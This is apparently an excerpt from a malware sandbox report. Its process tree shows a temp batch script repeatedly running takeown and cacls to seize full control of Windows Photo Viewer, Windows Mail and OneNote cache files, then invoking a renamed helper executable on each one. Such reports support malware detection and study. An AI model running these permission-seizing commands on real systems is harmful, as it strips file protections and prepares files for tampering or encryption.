C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "MicrosoftEdge_X64_139.0.3405.125.exe" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Program Files (x86)\Windows Photo Viewer\de-DE\ImagingDevices.exe.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Windows Photo Viewer\de-DE\ImagingDevices.exe.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Windows Photo Viewer\de-DE\ImagingDevices.exe.mui"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "ImagingDevices.exe.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "ImagingDevices.exe.mui" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Program Files (x86)\Windows Photo Viewer\es-ES\PhotoViewer.dll.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Windows Photo Viewer\es-ES\PhotoViewer.dll.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Windows Photo Viewer\es-ES\PhotoViewer.dll.mui"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "PhotoViewer.dll.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "PhotoViewer.dll.mui" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Program Files (x86)\Windows Photo Viewer\ja-JP\ImagingDevices.exe.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Windows Photo Viewer\ja-JP\ImagingDevices.exe.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Windows Photo Viewer\ja-JP\ImagingDevices.exe.mui"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "ImagingDevices.exe.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "ImagingDevices.exe.mui" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Program Files (x86)\Windows Mail\wab.exe""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Windows Mail\wab.exe" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Windows Mail\wab.exe"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "wab.exe" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "wab.exe" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Program Files (x86)\Windows Photo Viewer\es-ES\ImagingDevices.exe.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Windows Photo Viewer\es-ES\ImagingDevices.exe.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Windows Photo Viewer\es-ES\ImagingDevices.exe.mui"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "ImagingDevices.exe.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "ImagingDevices.exe.mui" -nobanner4⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Program Files (x86)\Windows Photo Viewer\it-IT\PhotoAcq.dll.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Windows Photo Viewer\it-IT\PhotoAcq.dll.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Windows Photo Viewer\it-IT\PhotoAcq.dll.mui"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "PhotoAcq.dll.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "PhotoAcq.dll.mui" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Program Files (x86)\Windows Photo Viewer\de-DE\PhotoAcq.dll.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Windows Photo Viewer\de-DE\PhotoAcq.dll.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Windows Photo Viewer\de-DE\PhotoAcq.dll.mui"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "PhotoAcq.dll.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "PhotoAcq.dll.mui" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Program Files (x86)\Windows Photo Viewer\fr-FR\ImagingDevices.exe.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Windows Photo Viewer\fr-FR\ImagingDevices.exe.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Windows Photo Viewer\fr-FR\ImagingDevices.exe.mui"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "ImagingDevices.exe.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "ImagingDevices.exe.mui" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Program Files (x86)\Windows Photo Viewer\ja-JP\PhotoAcq.dll.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Windows Photo Viewer\ja-JP\PhotoAcq.dll.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Windows Photo Viewer\ja-JP\PhotoAcq.dll.mui"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "PhotoAcq.dll.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "PhotoAcq.dll.mui" -nobanner4⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000008.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000008.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000008.bin"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "00000008.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "00000008.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000J.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000J.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000J.bin"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "0000000J.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "0000000J.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000S.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000S.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000S.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "0000000S.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "0000000S.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000014.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000014.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000014.bin"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "00000014.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "00000014.bin" -nobanner4⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000054.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000054.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000054.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "00000054.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "00000054.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000006S.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000006S.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000006S.bin"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "0000006S.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "0000006S.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000007C.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000007C.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000007C.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "0000007C.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "0000007C.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000007K.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000007K.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000007K.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "0000007K.bin" -nobanner3⤵
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "0000007K.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000008D.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000008D.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000008D.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "0000008D.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "0000008D.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000008L.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000008L.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000008L.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "0000008L.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "0000008L.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000008V.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000008V.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000008V.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "0000008V.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "0000008V.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\000000A7.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\000000A7.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\000000A7.bin"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "000000A7.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "000000A7.bin" -nobanner4⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000009.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000009.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000009.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "00000009.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "00000009.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000L.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000L.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000L.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "0000000L.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "0000000L.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000T.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000T.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000T.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "0000000T.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "0000000T.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000015.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000015.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000015.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "00000015.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "00000015.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000006D.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000006D.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000006D.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "0000006D.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "0000006D.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000006L.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000006L.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000006L.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "0000006L.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "0000006L.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000075.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000075.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000075.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "00000075.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "00000075.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000007T.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000007T.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000007T.bin"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "0000007T.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "0000007T.bin" -nobanner4⤵
-
-
-
